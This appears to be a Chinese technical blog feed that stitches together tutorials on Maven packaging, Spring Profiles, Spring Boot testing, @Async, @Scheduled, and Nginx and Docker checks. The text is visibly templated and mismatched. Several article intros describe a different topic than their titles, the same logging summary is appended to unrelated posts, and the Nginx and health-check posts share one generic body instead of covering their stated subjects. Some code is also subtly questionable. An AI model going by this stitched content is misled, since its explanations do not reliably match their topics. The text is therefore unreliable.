                    <encoding>UTF-8</encoding>
                </configuration>
            </plugin>
        </plugins>
    </build>
</project>

八、验证打包结果

#

8.1 检查jar内容

jar tf myapp.jar | head -20

#

8.2 验证可执行性

java -jar myapp.jar --dry-run

#

8.3 分析jar大小构成

jar tf myapp.jar | grep -E '^BOOT-INF/lib/' | \
  awk -F'/' '{print $NF}' | sort

九、常见问题

#

9.1 打包后无法启动

检查MANIFEST.MF中的Main-Class：

unzip -p myapp.jar META-INF/MANIFEST.MF

正确应该指向：

Main-Class: org.springframework.boot.loader.JarLauncher
Start-Class: com.example.MyApplication

#

9.2 依赖版本冲突

使用Maven Enforcer插件：

<plugin>
    <groupId>org.apache.maven.plugins</groupId>
    <artifactId>maven-enforcer-plugin</artifactId>
    <executions>
        <execution>
            <goals>
                <goal>enforce</goal>
            </goals>
            <configuration>
                <rules>
                    <dependencyConvergence/>
                </rules>
            </configuration>
        </execution>
    </executions>
</plugin>

#

9.3 资源文件未打包

确保资源文件在src/main/resources目录下，且未被排除。

十、总结

优化方向具体措施适用场景
构建速度并行构建、镜像加速、跳过测试开发迭代
镜像大小分层打包、JRE运行时、精简依赖Docker部署
部署效率layertools提取、缓存层复用CI/CD流水线
可维护性build-info、版本信息注入生产运维

掌握这些Maven打包优化技巧，能够显著提升SpringBoot应用的构建和部署效率，特别是在容器化环境中，分层打包带来的收益尤为明显。

核心要点

  1. 日志级别设置：根据环境设置合适的级别

  2. 日志格式配置：添加 traceId 便于链路追踪

  3. 日志输出：控制台输出和文件输出的配置

  4. 日志归档：设置滚动策略和保留时间

总结

日志是排查问题的生命线，合理配置日志可以提升排查效率。在实际项目中，结合 ELK 等工具搭建日志系统，可以更好地管理和分析日志。

]]> SpringBoot Spring SpringBoot Nginx 配置修改后的验证流程 //nginx-pei-zhi-xiu-gai-hou-de-yan-zheng-liu-cheng/ Nginx 配置修改后的验证流程

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Nginx 服务器 Nginx SpringBoot Profiles多环境管理 //springboot-profiles-duo-huan-jing-guan-li/ SpringBoot Profiles多环境管理

Spring Boot 简化了配置，但日志管理依然需要重视。日志配置、链路追踪、排查思路都是日常开发中会遇到的问题。本文讲实际项目中的日志管理经验。

Profile 配置方式

#

1. 配置文件命名

src/main/resources/
├── application.yml          # 公共配置
├── application-dev.yml      # 开发环境
├── application-test.yml     # 测试环境
└── application-prod.yml     # 生产环境

#

2. 激活 Profile

# application.yml
spring:
  profiles:
    active: dev
# 启动参数
java -jar app.jar --spring.profiles.active=prod

# 环境变量
export SPRING_PROFILES_ACTIVE=prod

#

3. Profile 组（Spring Boot 2.4+）

spring:
  profiles:
    group:
      local:
        - dev
        - local-db
        - local-cache
      production:
        - prod
        - prod-db
        - prod-cache
        - monitoring
java -jar app.jar --spring.profiles.active=production
# 相当于激活：prod, prod-db, prod-cache, monitoring

@Profile 注解

#

Bean 级别

@Configuration
public class DataSourceConfig {
    
    @Bean
    @Profile("dev")
    public DataSource devDataSource() {
        return DataSourceBuilder.create()
            .url("jdbc:h2:mem:testdb")
            .build();
    }
    
    @Bean
    @Profile("prod")
    public DataSource prodDataSource() {
        return DataSourceBuilder.create()
            .url("jdbc:mysql://prod:3306/db")
            .build();
    }
    
    @Bean
    @Profile("!prod")  // 非 prod 环境
    public MockService mockService() {
        return new MockService();
    }
}

#

配置类级别

@Profile("dev")
@Configuration
public class DevConfig {
    @PostConstruct
    public void init() {
        System.out.println("开发环境配置加载");
    }
}

@Profile("prod")
@Configuration
public class ProdConfig {
    @Bean
    public SecurityConfig securityConfig() {
        return new SecurityConfig();
    }
}

#

多 Profile

@Profile({"dev", "test"})
@Component
public class DebugInterceptor implements HandlerInterceptor {
    // 只在 dev/test 环境生效
}

Profile 条件化配置

#

@ConditionalOnProperty

@Component
@ConditionalOnProperty(prefix = "feature", name = "new-ui", havingValue = "true")
public class NewUIService {
    // 当 feature.new-ui=true 时生效
}

@Component
@ConditionalOnProperty(prefix = "feature", name = "new-ui", matchIfMissing = true)
public class DefaultUIService {
    // 当 feature.new-ui 未配置时也生效
}

#

配置属性

# application-dev.yml
feature:
  new-ui: true
  cache: false

# application-prod.yml
feature:
  new-ui: false
  cache: true

环境特定配置

#

开发环境

# application-dev.yml
spring:
  datasource:
    url: jdbc:h2:mem:testdb
    driver-class-name: org.h2.Driver
  
  jpa:
    hibernate:
      ddl-auto: create-drop
    show-sql: true

logging:
  level:
    com.example: DEBUG
    org.hibernate.SQL: DEBUG

#

测试环境

# application-test.yml
spring:
  datasource:
    url: jdbc:mysql://test-db:3306/test_db
    username: test
    password: test
  
  redis:
    host: test-redis

server:
  port: 8081

#

生产环境

# application-prod.yml
spring:
  datasource:
    url: jdbc:mysql://prod-db:3306/prod_db
    username: ${DB_USERNAME}
    password: ${DB_PASSWORD}
    hikari:
      maximum-pool-size: 50
      minimum-idle: 10
  
  jpa:
    hibernate:
      ddl-auto: none
    show-sql: false

logging:
  level:
    root: WARN
    com.example: INFO

获取当前 Profile

@Component
public class ProfileChecker implements EnvironmentAware {
    
    private Environment environment;
    
    @Override
    public void setEnvironment(Environment environment) {
        this.environment = environment;
    }
    
    public void checkProfile() {
        // 判断是否在指定 profile
        boolean isDev = environment.acceptsProfiles(Profiles.of("dev"));
        
        // 获取所有 active profiles
        String[] activeProfiles = environment.getActiveProfiles();
        
        // 判断是否在任一 profile
        boolean isProdOrTest = environment.acceptsProfiles(Profiles.of("prod", "test"));
        
        System.out.println("当前环境: " + String.join(", ", activeProfiles));
    }
}

Profile 与配置优先级

优先级从高到低：

1. 命令行参数: --server.port=9000
2. Java 系统属性: -Dserver.port=9000
3. 环境变量: SERVER_PORT=9000
4. application-{profile}.properties/yml
5. application.properties/yml
6. @PropertySource
7. SpringApplication.setDefaultProperties

配置加密

# application.yml
jasypt:
  encryptor:
    password: ${JASYPT_PASSWORD}

spring:
  datasource:
    password: ENC(encrypted_value_here)
@Configuration
public class JasyptConfig {
    
    @Bean("jasyptStringEncryptor")
    public StringEncryptor stringEncryptor() {
        PooledPBEStringEncryptor encryptor = new PooledPBEStringEncryptor();
        SimpleStringPBEConfig config = new SimpleStringPBEConfig();
        config.setPassword(System.getenv("JASYPT_PASSWORD"));
        config.setAlgorithm("PBEWITHHMACSHA512ANDAES_256");
        config.setPoolSize(1);
        encryptor.setConfig(config);
        return encryptor;
    }
}

测试中使用 Profile

@SpringBootTest
@ActiveProfiles("test")
class MyIntegrationTest {
    // 使用 application-test.yml 配置
}

@SpringBootTest
@ActiveProfiles({"test", "no-security"})
class MyControllerTest {
    // 使用多个 profile
}

容器化部署

#

Dockerfile

FROM openjdk:17-jdk-slim
COPY target/app.jar app.jar
ENTRYPOINT ["java", "-Dspring.profiles.active=${PROFILE}", "-jar", "/app.jar"]

#

Docker Compose

version: '3'
services:
  app:
    image: myapp:latest
    environment:
      - SPRING_PROFILES_ACTIVE=prod
      - DB_USERNAME=root
      - DB_PASSWORD=secret

#

Kubernetes

apiVersion: apps/v1
kind: Deployment
spec:
  template:
    spec:
      containers:
        - name: app
          image: myapp:latest
          env:
            - name: SPRING_PROFILES_ACTIVE
              value: "prod"
            - name: DB_USERNAME
              valueFrom:
                secretKeyRef:
                  name: db-secret
                  key: username

最佳实践

实践说明
默认配置application.yml 放公共配置
环境配置application-{env}.yml 放环境差异
敏感信息使用环境变量或配置中心
本地开发使用 H2 / 内存中间件
生产环境关闭调试日志，启用监控
配置验证启动时验证必要配置是否存在

总结

Spring Profiles 提供了灵活的环境管理能力：

  1. 配置文件分离：application-{profile}.yml
  2. 条件化 Bean：@Profile 注解
  3. Profile 组：组合多个 profile
  4. 优先级：命令行 > 环境变量 > profile 配置 > 默认配置

合理使用 Profile，可以让应用在不同环境间无缝切换。

核心要点

  1. 日志级别设置：根据环境设置合适的级别

  2. 日志格式配置：添加 traceId 便于链路追踪

  3. 日志输出：控制台输出和文件输出的配置

  4. 日志归档：设置滚动策略和保留时间

总结

日志是排查问题的生命线，合理配置日志可以提升排查效率。在实际项目中，结合 ELK 等工具搭建日志系统，可以更好地管理和分析日志。

]]> Spring 学习笔记 Spring Nginx 静态资源缓存配置 //nginx-jing-tai-zi-yuan-huan-cun-pei-zhi/ Nginx 静态资源缓存配置

缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Nginx 服务器 Nginx SpringBoot测试策略与Mock //springboot-ce-shi-ce-lue-yu-mock/ SpringBoot测试策略与Mock

Spring Boot 简化了配置，但日志管理依然需要重视。日志配置、链路追踪、排查思路都是日常开发中会遇到的问题。本文讲实际项目中的日志管理经验。

测试依赖

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-test</artifactId>
    <scope>test</scope>
</dependency>

单元测试

#

纯单元测试（JUnit 5 + Mockito）

@ExtendWith(MockitoExtension.class)
class UserServiceTest {
    
    @Mock
    private UserRepository userRepository;
    
    @Mock
    private EmailService emailService;
    
    @InjectMocks
    private UserService userService;
    
    @Test
    void shouldCreateUser() {
        // Given
        CreateUserRequest request = new CreateUserRequest("test", "test@test.com");
        User user = new User(1L, "test", "test@test.com");
        
        when(userRepository.save(any(User.class))).thenReturn(user);
        doNothing().when(emailService).sendWelcomeEmail(anyString());
        
        // When
        User result = userService.create(request);
        
        // Then
        assertNotNull(result);
        assertEquals("test", result.getUsername());
        verify(userRepository).save(any(User.class));
        verify(emailService).sendWelcomeEmail("test@test.com");
    }
    
    @Test
    void shouldThrowWhenUserExists() {
        // Given
        CreateUserRequest request = new CreateUserRequest("test", "test@test.com");
        when(userRepository.existsByUsername("test")).thenReturn(true);
        
        // When & Then
        assertThrows(BusinessException.class, () -> {
            userService.create(request);
        });
        
        verify(userRepository, never()).save(any());
    }
}

#

常用 Mockito 方法

// 设置返回值
when(mock.method()).thenReturn(value);
when(mock.method()).thenThrow(exception);
when(mock.method()).thenAnswer(invocation -> { ... });

// 无返回值方法
doNothing().when(mock).voidMethod();
doThrow(exception).when(mock).voidMethod();

// 验证
times(n)        // 调用n次
never()         // 从不调用
atLeast(n)      // 至少n次
atMost(n)       // 最多n次
verify(mock, times(2)).method();

// 参数匹配
any()           // 任何类型
anyString()     // 任何字符串
anyLong()       // 任何Long
any(Class.class)// 任何指定类型
eq("value")     // 等于
argThat(arg -> arg.length() > 5)  // 自定义匹配

// 连续返回值
when(mock.method())
    .thenReturn("first")
    .thenReturn("second")
    .thenThrow(new RuntimeException());

集成测试

#

@SpringBootTest

@SpringBootTest
@AutoConfigureMockMvc
class UserControllerIntegrationTest {
    
    @Autowired
    private MockMvc mockMvc;
    
    @Autowired
    private UserRepository userRepository;
    
    @BeforeEach
    void setUp() {
        userRepository.deleteAll();
    }
    
    @Test
    void shouldCreateUser() throws Exception {
        CreateUserRequest request = new CreateUserRequest("test", "test@test.com");
        
        mockMvc.perform(post("/users")
                .contentType(MediaType.APPLICATION_JSON)
                .content(objectMapper.writeValueAsString(request)))
            .andExpect(status().isOk())
            .andExpect(jsonPath("$.code").value(200))
            .andExpect(jsonPath("$.data").isNumber());
        
        assertEquals(1, userRepository.count());
    }
    
    @Test
    void shouldGetUser() throws Exception {
        User user = userRepository.save(new User("test", "test@test.com"));
        
        mockMvc.perform(get("/users/{id}", user.getId()))
            .andExpect(status().isOk())
            .andExpect(jsonPath("$.data.username").value("test"));
    }
    
    @Test
    void shouldReturn404WhenNotFound() throws Exception {
        mockMvc.perform(get("/users/999"))
            .andExpect(status().isOk())
            .andExpect(jsonPath("$.code").value(20001));
    }
}

#

@MockBean

@SpringBootTest
@AutoConfigureMockMvc
class OrderControllerTest {
    
    @Autowired
    private MockMvc mockMvc;
    
    @MockBean
    private PaymentService paymentService;
    
    @Autowired
    private OrderRepository orderRepository;
    
    @Test
    void shouldCreateOrder() throws Exception {
        when(paymentService.charge(any())).thenReturn(true);
        
        mockMvc.perform(post("/orders")
                .contentType(MediaType.APPLICATION_JSON)
                .content("{\"amount\":100}"))
            .andExpect(status().isOk())
            .andExpect(jsonPath("$.code").value(200));
        
        verify(paymentService).charge(any());
    }
}

切片测试

#

@WebMvcTest（Controller 层）

@WebMvcTest(UserController.class)
class UserControllerTest {
    
    @Autowired
    private MockMvc mockMvc;
    
    @MockBean
    private UserService userService;
    
    @Test
    void shouldGetUser() throws Exception {
        User user = new User(1L, "test", "test@test.com");
        when(userService.getUser(1L)).thenReturn(user);
        
        mockMvc.perform(get("/users/1"))
            .andExpect(status().isOk())
            .andExpect(jsonPath("$.data.username").value("test"));
    }
}

#

@DataJpaTest（Repository 层）

@DataJpaTest
class UserRepositoryTest {
    
    @Autowired
    private TestEntityManager entityManager;
    
    @Autowired
    private UserRepository userRepository;
    
    @Test
    void shouldFindByUsername() {
        User user = new User("test", "test@test.com");
        entityManager.persist(user);
        
        Optional<User> found = userRepository.findByUsername("test");
        
        assertTrue(found.isPresent());
        assertEquals("test@test.com", found.get().getEmail());
    }
    
    @Test
    void shouldExistsByUsername() {
        entityManager.persist(new User("test", "test@test.com"));
        
        assertTrue(userRepository.existsByUsername("test"));
        assertFalse(userRepository.existsByUsername("other"));
    }
}

#

@JdbcTest（JDBC 层）

@JdbcTest
@AutoConfigureTestDatabase(replace = AutoConfigureTestDatabase.Replace.NONE)
class JdbcRepositoryTest {
    
    @Autowired
    private JdbcTemplate jdbcTemplate;
    
    @Test
    void shouldQueryData() {
        jdbcTemplate.update("INSERT INTO users (username) VALUES (?)", "test");
        
        String username = jdbcTemplate.queryForObject(
            "SELECT username FROM users WHERE id = 1", String.class);
        
        assertEquals("test", username);
    }
}

#

@JsonTest（JSON 序列化）

@JsonTest
class UserJsonTest {
    
    @Autowired
    private JacksonTester<User> json;
    
    @Test
    void shouldSerialize() throws Exception {
        User user = new User(1L, "test", "test@test.com");
        
        assertThat(json.write(user)).isStrictlyEqualToJson("expected.json");
        assertThat(json.write(user)).hasJsonPathStringValue("@.username", "test");
    }
    
    @Test
    void shouldDeserialize() throws Exception {
        String content = "{\"id\":1,\"username\":\"test\",\"email\":\"test@test.com\"}";
        
        assertThat(json.parse(content)).isEqualTo(new User(1L, "test", "test@test.com"));
    }
}

测试配置

#

application-test.yml

spring:
  datasource:
    url: jdbc:h2:mem:testdb
    driver-class-name: org.h2.Driver
  jpa:
    hibernate:
      ddl-auto: create-drop

logging:
  level:
    root: WARN

#

@ActiveProfiles

@SpringBootTest
@ActiveProfiles("test")
class IntegrationTest {
}

#

@TestConfiguration

@TestConfiguration
public class TestConfig {
    
    @Bean
    @Primary
    public PaymentService mockPaymentService() {
        PaymentService mock = Mockito.mock(PaymentService.class);
        when(mock.charge(any())).thenReturn(true);
        return mock;
    }
}

@SpringBootTest
class OrderServiceTest {
    
    @Import(TestConfig.class)
    static class Config {}
}

测试数据库

#

H2 内存数据库

<dependency>
    <groupId>com.h2database</groupId>
    <artifactId>h2</artifactId>
    <scope>test</scope>
</dependency>

#

TestContainers

<dependency>
    <groupId>org.testcontainers</groupId>
    <artifactId>mysql</artifactId>
    <scope>test</scope>
</dependency>
@Testcontainers
@SpringBootTest
class MySQLIntegrationTest {
    
    @Container
    static MySQLContainer<?> mysql = new MySQLContainer<>("mysql:8.0")
        .withDatabaseName("test")
        .withUsername("test")
        .withPassword("test");
    
    @DynamicPropertySource
    static void configureProperties(DynamicPropertyRegistry registry) {
        registry.add("spring.datasource.url", mysql::getJdbcUrl);
        registry.add("spring.datasource.username", mysql::getUsername);
        registry.add("spring.datasource.password", mysql::getPassword);
    }
    
    @Test
    void shouldWorkWithMySQL() {
        // 使用真实 MySQL 测试
    }
}

测试原则

原则说明
FIRSTFast, Independent, Repeatable, Self-validating, Timely
单一职责每个测试只验证一个概念
独立测试之间不依赖
可重复任何环境都能运行
清晰命名shouldXxxWhenYxx

总结

测试类型注解适用场景
单元测试@ExtendWith(MockitoExtension.class)Service 层纯逻辑
Controller 测试@WebMvcTestController 层
Repository 测试@DataJpaTestRepository 层
集成测试@SpringBootTest全链路测试
JSON 测试@JsonTest序列化测试

好的测试是代码质量的保障，Spring Boot 提供了完善的测试支持，应该充分利用。

核心要点

  1. 日志级别设置：根据环境设置合适的级别

  2. 日志格式配置：添加 traceId 便于链路追踪

  3. 日志输出：控制台输出和文件输出的配置

  4. 日志归档：设置滚动策略和保留时间

总结

日志是排查问题的生命线，合理配置日志可以提升排查效率。在实际项目中，结合 ELK 等工具搭建日志系统，可以更好地管理和分析日志。

]]> Spring 学习笔记 Spring Nginx 反向代理配置入门 //nginx-fan-xiang-dai-li-pei-zhi-ru-men/ Nginx 反向代理配置入门

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Nginx 服务器 Nginx SpringAsync异步方法 //springasync-yi-bu-fang-fa/ SpringAsync异步方法

Spring 的 @Async 注解提供了简单的异步方法支持，将方法放入线程池中执行，不阻塞调用方。

启用异步

@Configuration
@EnableAsync
public class AsyncConfig {
}

基本使用

@Async 注解

@Service
public class EmailService {
    
    private static final Logger log = LoggerFactory.getLogger(EmailService.class);
    
    // 无返回值
    @Async
    public void sendEmail(String to, String subject, String content) {
        log.info("发送邮件到: {}, 线程: {}", to, Thread.currentThread().getName());
        // 模拟发送
        try {
            Thread.sleep(2000);
        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
        }
        log.info("邮件发送完成: {}", to);
    }
    
    // 有返回值
    @Async
    public Future<String> sendEmailWithResult(String to) {
        log.info("发送邮件: {}, 线程: {}", to, Thread.currentThread().getName());
        return new AsyncResult<>("发送成功: " + to);
    }
    
    // CompletableFuture（推荐）
    @Async
    public CompletableFuture<String> sendEmailAsync(String to) {
        log.info("发送邮件: {}, 线程: {}", to, Thread.currentThread().getName());
        return CompletableFuture.completedFuture("发送成功: " + to);
    }
}

调用

@Service
public class OrderService {
    
    @Autowired
    private EmailService emailService;
    
    public void createOrder(OrderRequest request) {
        // 保存订单
        orderDao.save(request);
        
        // 异步发送邮件（不阻塞）
        emailService.sendEmail(request.getEmail(), "订单确认", "...");
        
        // 继续处理其他逻辑
        System.out.println("订单创建完成");
    }
    
    public void createOrderWithResult(OrderRequest request) throws Exception {
        orderDao.save(request);
        
        Future<String> future = emailService.sendEmailWithResult(request.getEmail());
        
        // 可以做其他事情...
        
        // 获取结果（阻塞等待）
        String result = future.get(5, TimeUnit.SECONDS);
        System.out.println(result);
    }
}

线程池配置

默认线程池

@Configuration
@EnableAsync
public class AsyncConfig {
    
    @Bean(name = "taskExecutor")
    public Executor taskExecutor() {
        ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor();
        executor.setCorePoolSize(5);        // 核心线程数
        executor.setMaxPoolSize(10);        // 最大线程数
        executor.setQueueCapacity(100);     // 队列容量
        executor.setThreadNamePrefix("async-");
        executor.setRejectedExecutionHandler(new ThreadPoolExecutor.CallerRunsPolicy());
        executor.initialize();
        return executor;
    }
}

指定线程池

@Configuration
@EnableAsync
public class AsyncConfig {
    
    @Bean("emailExecutor")
    public Executor emailExecutor() {
        ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor();
        executor.setCorePoolSize(2);
        executor.setMaxPoolSize(5);
        executor.setQueueCapacity(50);
        executor.setThreadNamePrefix("email-");
        executor.initialize();
        return executor;
    }
    
    @Bean("smsExecutor")
    public Executor smsExecutor() {
        ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor();
        executor.setCorePoolSize(2);
        executor.setMaxPoolSize(5);
        executor.setQueueCapacity(50);
        executor.setThreadNamePrefix("sms-");
        executor.initialize();
        return executor;
    }
}
@Service
public class NotificationService {
    
    @Async("emailExecutor")
    public void sendEmail(String to) {
        // 使用 email 线程池
    }
    
    @Async("smsExecutor")
    public void sendSms(String phone) {
        // 使用 sms 线程池
    }
}

优雅关闭

@Bean(name = "taskExecutor", destroyMethod = "shutdown")
public Executor taskExecutor() {
    ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor();
    executor.setCorePoolSize(5);
    executor.setMaxPoolSize(10);
    executor.setQueueCapacity(100);
    executor.setWaitForTasksToCompleteOnShutdown(true);  // 等待任务完成
    executor.setAwaitTerminationSeconds(60);              // 最多等60秒
    executor.initialize();
    return executor;
}

注意事项

1. 同类调用不生效

@Service
public class OrderService {
    
    // 错误：同类中直接调用，不走代理
    public void createOrder() {
        sendEmail();  // @Async 不生效！
    }
    
    @Async
    public void sendEmail() {
        // ...
    }
}

解决：

@Service
public class OrderService {
    
    @Autowired
    private ApplicationContext context;
    
    public void createOrder() {
        OrderService proxy = context.getBean(OrderService.class);
        proxy.sendEmail();  // 通过代理调用
    }
    
    @Async
    public void sendEmail() {
        // ...
    }
}

2. 返回值

@Service
public class AsyncService {
    
    // 正确：返回 Future 或 CompletableFuture
    @Async
    public CompletableFuture<String> asyncMethod() {
        return CompletableFuture.completedFuture("result");
    }
    
    // 错误：void 方法无法获取结果或异常
    @Async
    public void fireAndForget() {
        // 如果抛异常，调用方不知道
    }
}

3. 异常处理

@Service
public class SafeAsyncService {
    
    @Async
    public CompletableFuture<String> safeAsync() {
        return CompletableFuture.supplyAsync(() -> {
            try {
                return doWork();
            } catch (Exception e) {
                log.error("异步任务异常", e);
                throw new CompletionException(e);
            }
        });
    }
}

// 全局异常处理
@Configuration
public class AsyncExceptionHandler implements AsyncConfigurer {
    
    @Override
    public AsyncUncaughtExceptionHandler getAsyncUncaughtExceptionHandler() {
        return (ex, method, params) -> {
            log.error("异步方法异常: {}.{}, 参数: {}", 
                method.getDeclaringClass().getName(),
                method.getName(),
                Arrays.toString(params),
                ex);
        };
    }
}

4. 事务问题

@Service
public class TransactionalService {
    
    @Transactional
    public void createOrder() {
        orderDao.save(order);
        
        // 异步方法在新线程中，事务上下文不共享
        sendEmail();  // 邮件发送不在事务中
    }
    
    @Async
    @Transactional  // 需要单独的事务
    public void sendEmail() {
        emailLogDao.save(log);
    }
}

5. 超时控制

@Service
public class TimeoutService {
    
    @Async
    public CompletableFuture<String> withTimeout() {
        return CompletableFuture.supplyAsync(() -> {
            // 耗时操作
            return "result";
        }).orTimeout(5, TimeUnit.SECONDS)  // 5秒超时
          .exceptionally(ex -> {
              log.error("超时或异常", ex);
              return "default";
          });
    }
}

与 @Transactional 结合

@Service
public class OrderService {
    
    @Transactional
    public void createOrder(OrderRequest request) {
        // 1. 保存订单（在主事务中）
        Order order = orderDao.save(request);
        
        // 2. 异步发送通知（在新线程中）
        notificationService.sendOrderNotification(order);
        
        // 注意：如果主事务回滚，异步通知可能已发送
    }
}

推荐做法：事务提交后再异步

@Service
public class OrderService {
    
    @Autowired
    private ApplicationEventPublisher eventPublisher;
    
    @Transactional
    public void createOrder(OrderRequest request) {
        Order order = orderDao.save(request);
        
        // 发布事件，事务提交后才执行
        eventPublisher.publishEvent(new OrderCreatedEvent(order));
    }
}

@Component
public class OrderEventListener {
    
    @EventListener
    @Async
    @TransactionalEventListener(phase = TransactionPhase.AFTER_COMMIT)
    public void handleOrderCreated(OrderCreatedEvent event) {
        // 事务提交后才执行
        sendNotification(event.getOrder());
    }
}

总结

注意点说明
同类调用必须通过代理
返回值用 CompletableFuture
异常配置全局异常处理器
事务异步方法事务独立
超时使用 orTimeout
线程池按业务隔离

@Async 是简单的异步方案，适合非关键的异步任务。关键业务建议使用消息队列。

]]> Spring 学习笔记 Spring 容器健康检查为什么重要 //rong-qi-jian-kang-jian-cha-wei-shi-me-chong-yao/ 容器健康检查为什么重要

容器健康检查是保证服务稳定的重要一环。本文讲为什么重要以及如何做。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Docker 服务器 docker SpringScheduling定时任务 //springscheduling-ding-shi-ren-wu/ SpringScheduling定时任务

Spring 提供了内置的任务调度支持，通过 @Scheduled 注解可以轻松实现定时任务。

启用定时任务

@Configuration
@EnableScheduling
public class SchedulingConfig {
}

@Scheduled 注解

固定频率（fixedRate）

@Component
public class FixedRateTask {
    
    // 每5秒执行一次，不管上次是否完成
    @Scheduled(fixedRate = 5000)
    public void run() {
        System.out.println("固定频率执行: " + LocalDateTime.now());
    }
}

固定延迟（fixedDelay）

@Component
public class FixedDelayTask {
    
    // 上次执行完成后，延迟3秒再执行
    @Scheduled(fixedDelay = 3000)
    public void run() throws InterruptedException {
        System.out.println("开始执行: " + LocalDateTime.now());
        Thread.sleep(2000);  // 模拟耗时2秒
        System.out.println("执行完成: " + LocalDateTime.now());
    }
}

初始延迟（initialDelay）

@Component
public class InitialDelayTask {
    
    // 启动后延迟10秒开始，然后每5秒执行
    @Scheduled(initialDelay = 10000, fixedRate = 5000)
    public void run() {
        System.out.println("执行: " + LocalDateTime.now());
    }
}

Cron 表达式

@Component
public class CronTask {
    
    // 每秒执行
    @Scheduled(cron = "* * * * * *")
    public void everySecond() {
        System.out.println("每秒执行");
    }
    
    // 每分钟执行
    @Scheduled(cron = "0 * * * * *")
    public void everyMinute() {
        System.out.println("每分钟执行");
    }
    
    // 每小时执行
    @Scheduled(cron = "0 0 * * * *")
    public void everyHour() {
        System.out.println("每小时执行");
    }
    
    // 每天凌晨2点
    @Scheduled(cron = "0 0 2 * * *")
    public void dailyAt2AM() {
        System.out.println("每天凌晨2点执行");
    }
    
    // 每周一早上8点
    @Scheduled(cron = "0 0 8 * * MON")
    public void weeklyMonday() {
        System.out.println("每周一早上8点执行");
    }
    
    // 每月1号凌晨1点
    @Scheduled(cron = "0 0 1 1 * *")
    public void monthly() {
        System.out.println("每月1号执行");
    }
}

Cron 表达式详解

秒 分 时 日 月 星期 [年]

* * * * * *  每秒
0 * * * * *  每分钟的0秒
0 0 * * * *  每小时的0分0秒
0 0 12 * * * 每天12点
0 0 12 * * ? 每天12点（?表示不指定星期）
0 15 10 ? * * 每天10:15
0 15 10 * * ? 每天10:15
0 15 10 * * ? 2024 2024年每天10:15
0 * 14 * * ? 每天14点的每分钟
0 0/5 14 * * ? 每天14点每5分钟
0 0/5 14,18 * * ? 每天14点和18点每5分钟
0 0-5 14 * * ? 每天14点的0-5分钟
0 15 10 ? * MON-FRI 工作日10:15
0 15 10 15 * ? 每月15日10:15
0 15 10 L * ? 每月最后一日10:15
0 15 10 ? * 6L 每月最后一个星期五10:15
0 15 10 ? * 6#3 每月第3个星期五10:15
字段允许值特殊字符
秒0-59, - * /
分0-59, - * /
时0-23, - * /
日1-31, - * ? / L W
月1-12, - * /
星期1-7 / SUN-SAT, - * ? / L #

异步定时任务

@Configuration
@EnableScheduling
@EnableAsync
public class AsyncSchedulingConfig {
    
    @Bean("taskExecutor")
    public Executor taskExecutor() {
        ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor();
        executor.setCorePoolSize(5);
        executor.setMaxPoolSize(10);
        executor.setQueueCapacity(100);
        executor.setThreadNamePrefix("scheduled-");
        executor.initialize();
        return executor;
    }
}

@Component
public class AsyncScheduledTask {
    
    // 异步执行定时任务
    @Scheduled(fixedRate = 5000)
    @Async("taskExecutor")
    public void asyncRun() {
        System.out.println("异步执行: " + Thread.currentThread().getName());
    }
}

动态配置 Cron

@Component
